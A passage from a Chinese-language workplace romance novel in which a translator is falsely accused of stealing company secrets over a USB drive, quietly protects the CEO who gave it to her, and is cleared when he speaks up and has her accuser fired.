她噼里啪啦说了一大堆,姜挽算是听明白了,不仅把她自己撇得干干净净,顺便还讽刺了她一波。 姜挽今天原本都已经做好心里建设了,只要方简简不提,她就不会再提这件事。她如今只想好好工作,并不想惹麻烦,可偏偏事与愿违。 输入电脑密码,点击“Enter”键,桌面出现了她上周没翻译完的项目文档,姜挽习惯性地再次点了保存。一个吐息的功夫,她转过身来,冷冷看着方简简:“是啊,那么大的地方,我当然不是自己掉下去的。刚好,借这个机会我也给大家提个醒,”她故意加大音量,“大家以后走路的时候尽量多注意,说不准从哪儿就突然冒出来一只脚,把你绊倒了,事后还要推脱责任,在旁边说风凉话。” 她这话虽没明说,可也已经足够指向明确了,一时间,大家都朝方简简看了过去,尽管都没开口,可意思也已经很明显了,姜挽口中的那个人,是她。 刹那间,方简简坐不住了,“腾”的一下从凳子上起身,恶狠狠瞪着姜挽:“你这话什么意思?暗指我绊了你吗?没有证据的事,你张口就来,就不怕我告你诽谤吗?” 姜挽不说话,只是直直和她对视着。 可能是心虚吧,方简简先露了怯,开始采用大声喊叫的方式来证明自己的清白,可声音越大,只会越显示她的惶恐。到最后,她甚至伸出手要来推姜挽,好在被旁边的林瑜拦下了。 事情闹得这样大,必然会惊动领导,没多会儿,她们两人便被叫进了林洁的办公室。 姜挽不惹事,但也不怕事,她以为只是一些沟通和调解,也做了心理准备。却没想到,自从进了办公室,方简简简直像是完全变了一个人,刚才的嚣张跋扈没了,咄咄逼人也没了,又拿出了她以往的那副清纯柔弱的样子,没说两句便开始掉眼泪,硬是把自己伪装成了无辜的受害者! 主动挑事的是姜挽,咄咄逼人的也是她,就连今天这场闹剧,也是因为方简简主动关心同事,是她姜挽不领情,不识好歹,破坏了同事关系! 一番解释下来,姜挽其实说的话并不多,她原本以为已经足够了解方简简了,可现在看来,还是太少了。 就像是洋葱,她只剥了最外面的一层,见识到了方简简伪善的一面,就以为这已经是她的底线了。殊不知,里面还有一层又一层,每一层都比第一层要呛人,也都比第一层要令人作呕。 意料之外,却也是情理之中。 见姜挽话少,方简简以为她是怕了,便继续连哭带闹地和林洁诉说她的委屈,最后,林洁都有些受不了了,按了按太阳穴,尝试打断她:“你先别着急,这件事情毕竟姜挽也是当事人,让她也说两句吧。” 方简简不服气:“林经理……” “我说了,让姜挽也说两句。”毕竟是当领导的人,关键时候还是镇得住场的,林洁这一开口,方简简虽不愿意,可也只是干瞪着眼,没再说话。 既然事情都已经发展到这个地步了,姜挽当然会说。她不仅要说,还要把上周五在酒店发生的事情,一五一十,全都仔仔细细地说清楚。 一时间,事情风向发生了变化,方简简瞬间成了恶意陷害同事,挑拨离间,影响工作氛围的一方。 被当中揭穿了,她当然不会认,急得跳脚:“不是这样的,林经理,她冤枉我,您不要相信她!” 林洁看着她,虽没开口,可眼神已经很冷了:“这件事情现在你们双方各执一词,一时间也做不了决断,先回工位吧,后续还需要继续调查,等有结果了我再通知你们。” 这个结果,姜挽是能够接受的,可方简简就不一样了,因为她知道,时间拖得越长,对她就越不利。 情急之下,她一不小心说了逾矩的话:“还调查什么呀,事情不是已经很清楚了吗,就是她的问题!”她指向姜挽,像是一直期待的目标就在眼前,急不可耐,“把她开除!” “方简简!现在我做事情都要你来安排了吗?要不要我这个位置也让给你来坐?” 林洁发火了,越是这种平时不轻易发火的人,发起火来才最吓人:“先不说现在事情并不明朗,就算搞清楚了,如何处理那也是人事的工作,不是你三言两句就能决定的。再说了,考虑到类似的事情之前也发生过,之前你和林瑜也闹过这样的矛盾,所以这一次,我们会更加仔细谨慎地对待。不会冤枉好人,但也绝对不会包庇陷害同事的员工!” 一番话,掷地有声,又铿锵在理,方简简瞬间慌了神。她绝对不能让她们去慢慢调查,也不能把之间和林瑜的那些事再牵扯进来,要真是这样的话,她就完了! 她必须把目标全都集中在姜挽身上! 心念一动,她大叫一声:“我要举报!举报姜挽盗取公司机密!” 此话一出,姜挽和林洁同时愣住了,姜挽是莫名,林洁则是觉得气愤。 “方简简,饭可以乱吃,话可不能乱说!”林洁拍案,“你得对你说的话负责!” “我当然负责了,”方简简冷笑,也顾不得掩饰一二了,偏执得像个赌徒,“你要是不信,可以去调查她啊!她有一个U盘,里面的资料我看过,涉及各种GSC的翻译资料,那种级别的信息,绝不是我们这种外派翻译能够拿到的。所以只有一种可能,那就是她私下对公司机密信息进行了盗取!至于想要拿着这些资料做什么,我就不知道了。” 到此,姜挽终于明白过来了,方简简指的是之前陈屿给她的那个U盘,可她从没在公众场合使用过,所以…… “你私自动我东西?” 方简简倒是没否认,而是快速转向林洁,简直有些疯癫:“您看,她承认了!你们快去找人调查她呀!晚了等她把资料销毁了,就来不及了!” 看着这场闹剧,林洁也有些无奈。坦白讲,她对姜挽的为人是非常认可的,入职这段时间,她从不作妖,总是尽职尽责地完成了工作。而且方简简这人她之前也有接触过,知道她也不是什么老实本分的人,所以这件事从一开始,她情感上是站在姜挽这边的。 可现在突然出了一个这么大的岔子,方简简竟然举报她“盗取公司机密”,这性质就完全不一样了。 两个同事之前的部门内部矛盾,和公司的合规问题相比,完全不在一个层面。 她叹一口气:“姜挽,针对这件事情,你有什么想说的吗?” 姜挽这会儿已经冷静下来了:“林经理,我也不是第一天参加工作了,有些职场原则和公司合规我很清楚,绝对不会触犯的,”她先表明了自己的立场,才继续解释道,“事情完全不是方简简说的那样,我确实是有一个U盘,但那是我个人的物品,和公司资料无关,更不存在盗取公司信息的情况。” “那U盘里的资料为什么涉及GSC信息,这个U盘又是从哪里来的,你能解释清楚吗?”林洁还没说什么呢,方简简倒是抢了先。 林洁瞪了她一眼,转而面向姜挽,神色虽严肃,却并不压迫:“没事,你说吧,这个U盘的来源只要你能说清楚,公司合规那边也不是不能解释。” U盘是…… 姜挽的心里此时有两股东西在较劲,一股是按照自己的本能,说吧,把事情的来龙去都脉解释清楚,知道这个U盘是陈屿给她的之后,公司肯定就不会再继续追究了。 可理性思考后,就有另外一种想法出现。陈屿当初给她这个U盘是出于项目考虑,为了提高她工作效率和能力的。现在她要是把他说出来,不仅不地道,甚至还会触犯到他的边界。毕竟,这段时间接触下来,陈屿从不掩饰对她的反感,自然也就不会想要在公众场合和她扯上关系。 “抱歉,”她思索片刻,坦诚道,“这个U盘的来源我现在不能说,但我能保证的是,我绝对没有盗取过公司的信息。” “你保证?你拿什么保证?”方简简丝毫不给她喘息的机会,“是拿你那本就没多少的道德底线,还是低劣的人品?” “行了,你们先出去吧,”林洁也有些焦躁,她也是第一次遇上这种事,“这件事我需要联系合规部门来处理。” 出了办公室,在还没有任何正式通知的情况下,方简简便擅自和其他同事开始传播“姜挽盗取GSC机密信息”的事儿。 一传十,十传百,下午的时候,整个公司基本都已经知道了。合规部门迫于压力,也是为了避免舆论进一步发酵,暂时关闭了姜挽的工作权限,并没收了她的办公电脑。就连那个U盘,为了配合调查,也一并收上去了。 接着HR又来找她,还是当初帮她办理入职的那位,通知她这两天可以先回家休息,等这件事情调查清楚后再考虑后续的工作安排。 工作这么长时间,这种事情姜挽还是第一次遇到,因为没经验,一时也有些六神无主。 沈繁星不能说,她离得远,也不属于GSC,说了只会徒增她的烦恼,让她一起跟着着急罢了。林瑜也不行,自己和人家也不是很熟,况且她也属于翻译部,这个时候,多少也应该避避嫌。 那就只有…… 姜挽的指尖停在联系人清单“周海”的名字那里,有些犹豫。在GSC,因为工作的原因,她和周海接触还算多,而且电脑被收,她唯一担心的也就是尼斯项目的翻译。 正当她犹豫不决之际,电话铃声突然响了起来,恰巧是周海给她打来的。 姜挽接起来:“周经理。” 周海那边像是在外面,背景声音很嘈杂,而且他也很急,连姜挽的名字都没来得及叫,上来直接说事:“事情我听说了,公司这不是瞎搞吗,你怎么会盗取机密呢?你就不是这样的人!” 姜挽很感谢这个时候他还能这样相信她,但GSC确实也有一套合规流程:“周经理,这件事我没做过,我也不怕被调查,只是尼斯项目的翻译可能会被耽误几天。不过您放心,一旦事情解决,我会立马加班把延迟的翻译补上的。” 周海在电话那头叹了口气:“其实项目的事情是小,这个项目虽说交期着急,可两三天的缓冲还是有的,况且你能力强,我一向相信你,关键是…… 他顿了下,接着像是换了一个地方,背景声音一下子就小了许多:“关键是对你个人的影响,这点你得注意。其实我在给你打电话之前,已经先和林洁联系过了,她也和我说了,无非就是一个U盘的事情,只要你能解释清楚,后面这些繁琐的流程也就不需要再继续了。听我一句劝,要不你就和合规部门解释一下吧?” 同样的意思,之前在办公室的时候,林洁也表达过,坦白讲,这种情况下他们还能替她考虑,姜挽很感激。 起风了,她的额发被吹起,姜挽有一瞬间的恍惚,可不过短短一秒,她便再次坚定信念。 几年前她对陈屿做的那些事情皆是不得已,当时她没有选择的权利。可如今她是一个拥有独立意志的主体,可以自主选择任何想做或者不想做的事情。所以,她再也不要利用他,再也不会为了自己的利益去做出可能会伤害到他的事情。 在沉静的日光和早秋的凉风中,她做了一个决定,其实也称不上是刚做,这个想法她一直都有,只是今天再次坚定了而已:她再也不要伤害陈屿,她也要保护他。 “周经理,抱歉,这个我真的没办法说,请您理解。” 她这么说,周海基本也就明白了,没再继续劝她,只让她安心等着,这两天就当作是放个假,好好休息休息。 这一等,就到了两天后,等到陈屿出差回来的那天。 陈屿刚从外面回来,就听说了这件事,心烦得厉害,进办公室后,“啪”的一声将西装外套扔在了办公桌上。他想不明白,他不过才离开了两天,出了两天差而已,就发生了这样的事? 不过他心烦一半是因为这,另一半则是因为姜挽在被如此对待之后,竟然没有联系他。 宋泽宇跟在他身后,小心将外套收起,仔细挂在旁边的衣帽架上。刚整理完,恰巧看见周海进来,朝他使了个眼色,算是提醒他陈总现在心情不好,便离开了。 陈屿心情不好,周海也看出来了,他每次心情不好的时候就爱抽烟。此时缭绕的烟雾掠过陈屿的眉眼,隐约间,把他衬得更冷了。 可再冷,周海也得说:“陈总……” 他刚开了个口,就被陈屿打断:“要是工作的事,你就别说了,我现在没心情听这些。” 周海愣住了,想了想,觉得这也不全是工作的事。况且他这两天就一直在等着陈屿回来,怎么可能轻易放过这个机会。周海顺着他刚才的意思,换了副口吻:“不是,不是,是个人的事情,主要关系到姜挽。” 话音落,陈屿偏过头来,扫他一眼。 不冷不热的一眼,周海实在辨不出他的情绪,可还是继续开口道:“这两天发生的事情,想必您也知道了,不过我敢保证,姜挽一定是被冤枉的,她不是这种人。” “哦?”陈屿终于有了点反应,抬起眼皮,将烟蒂捻灭在烟灰缸,像是很感兴趣,“你继续说。” 周海这才有了点底气,拉开凳子在他对面坐下,端着肩膀,格外认真:“虽然我和她认识的时间不长,但凭着点这么多年的生活经验,自认为她是怎么样的一个人,我还是能看清楚的。”他倾身向前,满眼诚挚,“那就是一个不争不抢,踏踏实实干事的小姑娘,盗取公司机密这事,她是绝对不会做的。” 陈屿当然知道了,他比任何人都知道,因为这件事的源头— —U盘,就是他给她的。他只是不明白姜挽为何不把这件事情说出来? 是不敢?还是不想? 虽然很不愿意承认,可他觉得二者相较,还是第二个理由更有可能。 她是不想。 不想和他再有任何牵扯,即便是这个牵扯能在关键时候帮助她。 越想,心越沉。 可陈屿掩饰得很好,内心虽思绪万千,面上却不显。周海见他没反应,还以为他是不相信,毕竟联想到之前的几次接触,他好像都是比较针对姜挽的。 于是,他换了个赛道,打算从业务入手:“再说了,尼斯项目现在正是进度紧张的时候,翻译这部分可拖不得。这一块之前都是由姜挽负责的,她翻译专业,速度也快,给项目提供了很大的支持。要不,”他顿了下,因为知道接下来说出口的话可能有些越界了,“要不您再看看,这件事能不能从轻处理?早点解决,对公司项目也是有好处的。” 陈屿压根就不在乎什么项目,他在乎的,从始至终都是姜挽的想法。单手抚着额角,他假装不在意:“这件事她自己怎么说?U盘的来历能解释清楚吗?” 这也是周海没什么底气的地方:“这个……她说是不方便说,不过我问过了,她保证来源合法,绝对没有盗取公司机密。” 陈屿追问:“那她有没有说为什么不能说?是因为某个人?还是有其他的隐情?” 周海也犯难:“这倒没有,涉及到这个话题的,她挺坚决的,明确表达了不想说。” 果然如此。 不想说,不想暴露和他的联系,更不想和他扯上关系。 陈屿又燃了一支烟,飘忽不定的白烟,一如他此刻的内心,没有支点,永远无法着陆。 “你先出去吧。” 周海点头。 该说的都说了,该做的争取他也已经做了,余下的,就看公司的决定了。临走前,他还留了最后一句:“那这件事您再多考虑考虑,她不说,可能确实有她自己的顾虑,但她的人品和能力,大家都是有目共睹的。” 周海刚走,合规部门的负责人就来了,这件事情他虽已经在邮件里做了详细的说明,可按公司规定,还是需要当面和陈屿进行汇报。 陈屿心里只有姜挽,对他这些冗长的汇报一点耐心也没有,好不容易熬到他说完,一秒也没再等:“所以,现在结论到底是什么?” 见他生气,负责人很惊慌,可他也不知到底哪句话说错了,于是只得战战兢兢地继续开口:“结论就是,U盘里的东西确实有一部分是公司的信息,但基本都是翻译,并不涉及到机密。” U盘是陈屿给的,里面有什么东西,他再清楚不过了。之所以要多此一举问这个问题,就是要从合规方面,从公开公正的方面给姜挽一个公道,不在公司层面留下任何把柄,以防日后有人在背后议论。 “接下来是什么流程?”他追问。 负责人刚放松了几秒,立马又再次紧张起来:“虽说不涉及机密信息,可U盘毕竟存在,接下来我们会和当事人进行沟通,先了解U盘的来源和她的想法,再确定最终的处理方案。” 陈屿十指交叉,身体往前倾:“这个沟通的会,我也参加。” “没……没问题。”虽然这种情况以前从没遇到过,可老板要求的,负责人也不敢不同意。 一场战战兢兢的汇报,眼见着终于要结束,负责人擦着冷汗和陈屿道别,可没想到刚转身,却突然再次从身后被叫住,他转过来,脸一阵煞白:“陈总,您还有其他什么吩咐?” “那个举报姜挽的人叫什么?”虽然这个名字已经在陈屿眼前出现过很多次了,可他还是没记住。 “方简简。”负责人连忙回答。 “对她开启单独的调查。” “好的,我马上去办。”负责人松一口气,还好只是一个简单的调查工作。 在家的第三天,姜挽接到了GSC HR打来的电话,电话里说需要她下午去公司一趟,有些事情需要当面和她谈论,问她方不方便。 姜挽当然方便了,这几天她虽然在家,可情绪也不大好,翻来覆去总是想着这件事,主要是担心因为她自己的原因,给项目带来影响,从而对佳译造成损失。现在被通知了,她倒是也不用再继续纠结了,是福是祸,是死是活,总归是要有一个结论了。 只是没想到,到了公司,在揭开这个盖子的前一秒,她还被恶心了一下,很不幸地和方简简在走廊碰见了。 这会儿走廊里没人,很安静,全部的声音都只有方简简的高跟鞋落在地上的“哒哒”声。她趾高气昂地朝姜挽走来,绕着她打量了一圈,还真是一点挖苦姜挽的机会都不放过:“你脸皮还真是厚,做了这种事情竟然还有脸来公司?” 她嗤笑,低头来回欣赏着自己新做的指甲,“不过啊,脸皮再厚也没用,这个社会,并不是谁不要脸,谁就能赢。看在一起工作过一段时间的份上,我不妨告诉你,像你这种情况,结果只有一个,那就是— —”她凑近,最后两个字咬得格外用力,“开除。” 姜挽退开两步,俯视着她,没有愤怒,只有平静。几次交锋下来,她已经摸清方简简的套路了,无非就是一些下作手段加言语攻击,不在意,自然也就不会被影响:“同样的话,我也送给你,这个社会,并不是谁不要脸,谁就能赢。” 有些人很奇怪,一旦你拿她和你说的话回怼她时,她就受不了了,方简简此时就是这种情况,怒目圆睁,咬牙切齿,很不客气地推了姜挽一下:“你说什么?你有种再说一次!” 方简简的声音吸引了屋内其他同事的注意,大家纷纷往这边看,却没人出来制止。因为她俩最近这事,大家基本也都知道了,在事情没有清晰明朗之前,没人愿意趟这趟浑水,都想着明哲保身。 就这么僵持了会儿,主要是方简简一直纠缠,姜挽要走,她一直不让,林瑜从外面回来看见了,走过来,一把扯掉方简简攥着姜挽的手臂:“你干嘛呢?大庭广众之下还搞恶意欺负这一套,是真的一点也不把员工手册放在眼里吗?” 方简简刚想发火,一看是林瑜,又气又怕:“你哪只眼睛看到我欺负她了?明明是她出言污蔑我,我维护自己的权益,让她给我道歉而已。再说了,我们俩的事,和你又有什么关系?” “我看不惯行吗?” “看不惯?”方简简冷笑,“要看不惯,你也应该是看不惯她吧?姜挽先是盗取公司机密,今天又在大庭广众之下侮辱我,我只不过是在维护公司和自己的利益,又做错了什么?” 她说的话,林瑜一个字都不会信,因为她贯知道方简简就是一个颠倒黑白,诬陷他人的性格。 林瑜厌恶地看着她:“姜挽不会做这样的事,这些事要是放在你身上,还有几分可信度。” 方简简一时愣住了,她没想到林瑜会这么直接,也没想到她会这么维护姜挽。在她眼里,林瑜一直都是一个不爱交际,也不爱管闲事的人,也正是因为这个原因,她当初才能把她孤立。 局势瞬间变换,现在她是一个人对两个人,方简简瞬间没了刚才的那股傲气,又因为之前诬陷过林瑜,也很心虚。 不过,审时度势,毫无底线,一向就是方简简的优势。抬眼之间,她已经换上了另外一副表情,一副被欺负,说话带泪的可怜样:“你才认识她多久啊?你就这么说?就算你们私底下有什么其他的联系,这种时候也不应该混淆是非。” 一句话,又把林瑜扯进来了,姜挽见此要和她理论,林瑜倒还是那副冷漠的样子,拉着她,往会议室的方向送:“不用搭理她,你赶紧去办你的事儿,要是需要证明人啥的,尽管联系我。” 这种场合,姜挽也分得清轻重,朝林瑜感激地点了点头,便朝着会议室走去。 落步,转弯,垂眸。 有什么东西在她心底慢慢清晰。 她其实没想过林瑜会在这个时候出来帮她,仿佛暗室逢灯,雪中送炭,完全就是意料之外的情谊。 来到HR约的会议室,姜挽推门进去,一进屋,瞬间愣住了,因为会议室里此时还坐着一个她怎么也没想到会出现的人…… 陈屿竟然也在?而且他就坐在主座的位置,正对着门口,自姜挽进门,视线便一直落在她身上。 “姜翻译,请进,您坐这儿吧。”HR先和她打招呼,指了指他们对面的一个座位。 姜挽机械地应声,又在他们的注视下,机械地坐下。视线在对面来回看一圈,她还是不太能理解。 HR和合规同事在,这是工作。林洁在,也可以理解,她是翻译部的领导,代管外派翻译,姜挽出事,她参会也是应该的。还有周海,也说得过去,他是尼斯项目的负责人,姜挽参与的主要项目就是这个,考虑到项目情况,他来也是正常的。 唯独陈屿,她怎么也想不明白。难道GSC对这种问题看得这么严,已经到了需要公司总裁出面的地步了? 见她有些紧张,HR开口,先给这场会议定了个基调:“您不用紧张,今天并不是什么批斗大会,事情我们已经调查清楚了,不是什么非常严重的性质,今天叫您来也只是为了再做一些了解而已。” 姜挽心里有数了。 接下来,确如HR刚才说的那样,整个沟通也还算友好,并没有拿各种法律和条款来压她,只是说虽然查到了U盘里的东西,但并不是什么机密信息,她要是能解释清楚这U盘和信息的来源,事情也就可以进行简单的处理。 又绕回之前那个问题了,只不过不同的是,前几次陈屿都不在,这次他就真真切切地在她眼前,和他们一起,等着她的回答。 两厢对视,各怀心事。 她不能说,姜挽想,之前几次她都没说,这次陈屿在眼前,她若是突然承认,不就是赤裸裸地打他脸,出卖他吗? 或许她会说,陈屿想,如今他在这里,她或许会改变主意,选择向他寻求帮助,他甚至连后面的话都想好了…… “非常抱歉,这个问题,我真的没办法回答。” 起风了,叶落了,心也沉了。陈屿仿佛又听到了下雨的声音,八年前的那场大雨,到现在还浇在他心头。 姜挽说完,HR和合规同时叹气,林洁和周海忙又开口劝她,只有陈屿没开口,冷冷盯着她。从他这冷漠的眼神里,姜挽看出了点其他的东西,不像是解脱,反倒更像是怨恨和失望。 到最后,姜挽还是不愿意说,HR只好告知她公司的正常处理结果,虽说不必到开除那么严重,可也会被记大过,年终奖金和项目奖金更是会因此受到影响。 姜挽坦然表示她都接受。 到这一步,其实已经没什么再说的了,事实清晰,双方也都接受,正当在场的人都以为这件事情会就此了结时,一道意想不到的声音突然响起,更让人没想到的,是他开口的话:“这个U盘,是我给她的。” 一时间,会议室鸦雀无声。等大家反应过来是什么情况后,更是面面相觑。 说这话的可是陈屿,是他们的老板!如果事实真如他所说,这个U盘是他给姜挽的,那他们之前做的那些事又算什么?一直逼问姜挽这U盘的来历又算什么呢? 沉默,漫长又无措的沉默。 姜挽也没想到他会突然这么说,和她一开始的预设,以及这些天的努力完全不一样,她着急,想解释:“不是,这个U盘其实……” “姜挽,”陈屿打断她,朝她看过来,窗外明明有阳光,也确实落在他的眼睛里,可他的眼神却依旧冰冷得如冬日的寒冰,冷漠,不耐,还有怨恨,“我做过的事情,还轮不到你来帮我隐瞒。” 瞬间,姜挽不说话了,是说不出来。面对处分时她可以无甚波澜,甚至能够坦然接受,可一旦面对陈屿,她就总觉得心里像是空了一块,语言和大脑都跟不上反应。 周海先是震惊,随后迅速反应过来帮忙打圆场:“Annie,这就是你的不对了,既然资料是陈总给的,又有什么不能说的呢?还绕这么大一圈,让大家都误会了。”他转头和HR以及合规解释,“不过这事儿啊,算下来还是我的责任最大,尼斯度假村这么大的项目,陈总有顾虑也是应该的,监督翻译这事儿其实是我的工作职责,应该是由我来盯的,都怪我考虑不周,还要劳烦陈总帮忙,是我工作的失误,以后我一定注意。” HR和合规这时候哪还敢开口,一个比一个脑袋垂得低,就怕陈总反过来找她们麻烦。 林洁也出来帮姜挽说话:“是啊,我早就说过了姜挽不是这种人,现在一看,还真是搞错了。不过这也不能怪大家,毕竟是有人实名举报,仔细点总是没错的。只不过让姜挽受委屈了,上周还被她推进水里,这周又被诬陷,真是可怜。” “你说什么?”陈屿突然接了她的话。 林洁吓一跳,虽然她是翻译部的经理,但老实说,平时和陈屿接触的机会并不多,见他又一直都是冷冰冰的,所以这会儿突然被问,也有点害怕:“我说……姜挽是被冤枉的。” “上一句?” 林洁费力思考:“她上周五还被方简简推进了水里……” 陈屿要的就是这句,这还真是欺负到他头上了,他转向HR:“这个人,立马给我开掉。” 这一波又一波的,HR根本反应不过来,只凭着职业本能回答:“陈总,她没有重大的过错,也没有……” 陈屿没耐心听她说完:“无论付出多大代价,这个人,必须开掉。”然后,许是为了给自己这失控的情绪找个借口,他补充道,“GSC绝对不会允许这种人在这里工作。” 说罢,他起身,掸了掸西装下摆,径直从会议室离开。 他走后,大家都松了一口气。 HR和合规率先和姜挽道歉 ,说这件事误会她了,希望她不要介意。接着周海和林洁又来安慰她,也告诉她这件事情就算是这么过去了,不要放在心上。 这件事情里,周海和林洁帮了她多少,姜挽是非常清楚的,所以对他们的话,她当然也只有感激,一再表达对他们的感谢,并保证以后肯定通过好好工作来回报。 事情虽然解决了,可姜挽还不能立马回办公室,主要还有流程要走,得等GSC的审批正式完成了,才能把电脑和U盘还给她。 回家的路上,姜挽第一件事就是给林瑜发微信,告诉她事情已经解决了。林瑜也替她高兴,微信里安慰她不用担心工作,刚好趁这个机会多休息两天,自从来了GSC就没见她怎么休息过。 林瑜是利落的性格,很快便结束了和她的对话。只不过聊天结束后,姜挽却久久没有从微信里面退出来。 这个点地铁里人不多,风吹动车厢,有轻微嘎吱晃动的声音。 想了很久,姜挽还是点开了和陈屿的聊天对话框,再三斟酌,最后还是尽量简短地发了一句话过去:【刚才,谢谢你。】 她以为陈屿不会回的,也做好了他不回复的准备,毕竟刚才在会议室里他看她的眼神,她也注意到了。可没想到,没过多久,陈屿便回了过来,只不过说的话和这件事没有任何关系。 【你就这点心理素质?屁大点事,至于把自己搞成这样吗?】 姜挽没懂他的意思,可还是不自觉垂下眼睫,有些慌张:【我……怎么了?】 打完字,她打开手机前置摄像头看了眼,除了脸色有点憔悴,其他看不出来什么。 陈屿回得很快,一来一回不过几秒之间:【你在家都不照镜子的吗?看看你那脸瘦的,脸上除了眼睛,还能看到其他五官吗?】 姜挽也没想到他指的竟然是这个意思,本以为他是担心影响工作,一时间也有些语塞:【……我会尽量调整的。】 陈屿真是一点面子也不给她:【你最好这样,不然佳译派一个心理素质这么差的人过来,GSC也不会放心和你们合作。】 直接、坦率、不留情面,是他的风格。隔着手机,姜挽似乎都能感觉到他身上那股桀骜又不耐烦的劲儿。 她没什么好辩解的,老老实实发了一个“知道了”过去,料想她这句话之后陈屿不会再回复,事实也果然如此。 可不回复,并不代表陈屿不在意,相反,这件事如今于他而言是最重要的一件。 退出微信,他便立马给HR和合规的负责人发了一封邮件,邮件里要求他们尽快去处理此事,下周一上班,他要看到最后的结果。 周末下了两天雨,雨很长,长到周一方简简接到自己被开除的通知时,发丝还挂着刚从外面进来时沾上的雨滴。 她盯着邮箱里HR发来的邮件,简直不敢相信,雨滴顺着发丝滴落在桌面,“啪嗒”一声,她才反应过来。 第一个动作就是扔东西。 鼠标、资料、办公文具,所以在她视线之内的,全都一股脑被她掀在了地上。 她实在是想不明白,如此证据确凿的事情,不仅没等来姜挽离开,反倒等来了自己被开除的通知? 她当然不接受了,吵闹着要去找HR要一个说法。 HR早有准备,关于她违规,旷工,乃至损害公司利益的证据,公司手里都有,可即便如此,GSC还是愿意按最高的补偿方式让她离开。 “2n+1,是我们目前能够给到的最高的条件。” 哪知方简简听后却冷笑,别说2n+1了,就算是+2、+3,她都不可能接受。她看中的根本就不是眼前这个外派翻译的岗位,而是以后的转正,是能够在GSC干到退休的长期稳定发展! “我不接受,坚决不接受!” 她一句话掷在地上,HR也没办法:“既然这样,那么接下来这件事情会移交给公司法务,会后续由法务来和你对接。” 说罢,HR打算走,方简简却大步拦住她,这个时候了,她还不打算放过姜挽:“我不知道姜挽是使用了什么手段才躲过了这劫,但既然她的问题都能解决,我的为什么就不可以?” HR也是看她癫狂,不想再引起不必要的麻烦,离开前,半是劝说半是警告地留了一句:“你情况特殊,不会有任何转圜的余地。” 第59章 偶遇 方简简那样的性格, 没有达到自己的目的,是绝不会轻易罢休的。 后来,她又来公司闹了几次,虽然气焰嚣张, 咄咄逼人, 可法务团队早做了十足的准备, 加之公司态度坚决, 几次下来, 她属实没讨着什么便宜。 秋风乍起, 她一把扔掉手中的道具,忿忿开口:“这件事我知道是谁在中间搞鬼,你得意不了几天了, ”她意有所指, 故意看向姜挽的方向, “等着吧, 我绝对不会这么善罢甘休的!” 因为隔得远,姜挽其实并没听清她说的话, 可离方简简近的那几位同事却听清了。她们不约而同朝姜挽扫了一眼, 而后又十分默契地迅速转了头。 短短几天时间,事情的风向发生了如此大的转变, 说不疑惑, 那是假的。更何况,早在方简简来闹事之前, 她们就听到了一些类似的传闻。 据说, 这次的事情陈总也有参加,而且开除方简简的决定,还是他亲自下达的, 没有任何转圜的余地…… “我总觉得这事没这么简单,方简简这离开得也太突然了吧,姜挽反倒一点事没有?所以,我合理怀疑她和陈总有点什么。要是什么都没有,陈总是不会管这档子闲事的。以前这样的事情又不是没有过,他哪次在意了?更别说还像这次这样亲自参与了。” 茶水间里,咖啡机旁,几个女生围在一起小声嘀咕。 “你这么一说,好像还真是,她和陈总不会真有点什么吧?自古英雄难过美人关,陈总看上她也不是不可能,毕竟她那张脸,在GSC确实也是数一数二的。” “这么说来,我们以后在她面前还得多注意点。” …… 一直都是如此,有人的地方就有八卦。 姜挽和林瑜这会儿就站在门外,将里面的对话听得一清二楚。她们原本是打算来接咖啡的,听到这些,姜挽瞬间没了心情,皱眉,转身,拉着林瑜就打算走。 她顾及体面,不愿意和她们产生冲突,可林瑜就不一样了,当下立马挣开她的手,大步迈回茶水间,几乎是瞬间便站到了那些人面前,高昂着头,垂眸俯视。 “你们喜欢八卦没问题,可也得依据事实吧?方简简是什么人,和她共事这么长时间,我不相信你们不知道。现在事情都盖棺定论,公司也已经出通知了,你们还这么捕风捉影地议论,有点说不过去吧?” 听她这么说,对面的几个人瞬间面面相觑。她们本就理亏,又被这么毫不留情地当面拆穿,便含糊着想要离开。 林瑜却不同意,往门口的方向迈了一步,彻底将路堵死。 狭小的空间内,气氛瞬间紧张起来。 有人出来打圆场:“哎呀,都是同事,何必这样呢。你刚才听错了,我们真的没议论这些,只是在讨论其他的事情而已,你真的……” “停— —”林瑜不听她说,她把她们拦下来,不是为了听这些虚伪的解释的,“这件事情,我全程都清楚,我现在可以很明确地告诉你们,整件事情全是方简简一人策划的,她走到这一步也完全是咎由自取,和其他人一点关系都没有。” “当然……” 几人想要附和她,却再次被林瑜打断:“你们要是还想知道什么,可以直接来问我,免得背后猜测议论太浪费时间,有这点时间,还不如多做点工作。” 她一锤定音,又如此维护姜挽的架势,众人讪讪,硬着头皮回了两句,便擦着她的胳膊边,从门口离开了。 几人离开后,林瑜才端着杯子进了茶水间,转头又朝姜挽招呼了一声,让她也跟着进来。 姜挽一直都在她身后,刚才她和她们说的话,她自然也就全部听见了。虽说她并不想和那些人纠缠,可林瑜在这种情况下为她挺身而出,说不感动,肯定是假的。 姜挽又想到了那天,林瑜为了她和方简简争论的场景。她好像一直都是这样,遇到事情,非常仗义。 “刚才,谢谢你。”感慨很多,可真正到嘴边,还是只有最简单的这一句。 “啊,没事。”林瑜大喇喇回她一句。 她似乎并不擅长应对这种话题,表情不自然,脸颊也有些红。明明是帮助人的那一个,可到了接受别人谢意的时候,却又不好意思。 姜挽也注意到了,她猜想这应该和林瑜的性格有关,毕竟,在GSC这段时间,她确实还没看过林瑜和其他人有过什么沟通。 心念一动,姜挽换了种方式:“今天中午你有时间吗?要不我们出去吃饭吧,我知道附近有一家新开的餐馆,川菜,评分很不错。” 林瑜少见地蹙了蹙眉,有些犹豫。 见此,姜挽还以为她这要求太过分,触到她的禁区了,忙改口道:“不过你要是不方便的话就算了,以后再去也行。” 咖啡机在打最后一道奶泡,一层层纯白的半固体在机器的运作声中渐渐堆积,细腻,绵密,还有独属于它的浓香,顷刻间在四周弥漫开来。 在这香味里,在这温馨间,林瑜转过头来,像是下了很大决心似的,再次开口:“那你一会儿十二点的时候叫我。” 姜挽当然同意了,忙回她:“好!” 到餐馆的时候正值饭点,人很多,本来是要等位的。好在她们来的碰巧,前面有一桌两人的餐位正好空出来,服务员便直接带着她们入了座。 来的是川菜馆,口味自然是以辣为主,好在她们两人都能吃辣,在点菜方面没什么分歧,就直接选了这里的招牌。 菜端上来,两人边吃边聊,但很明显,整个过程,姜挽的话要比林瑜多很多。 其实也不是林瑜不想,只是她实在不知道该怎么做而已。 帮姜挽出头的时候她没顾忌,仗义执言她也没问题,可就是这事反过来,当对方要关心她,想帮助她时,她就有些不自在了。 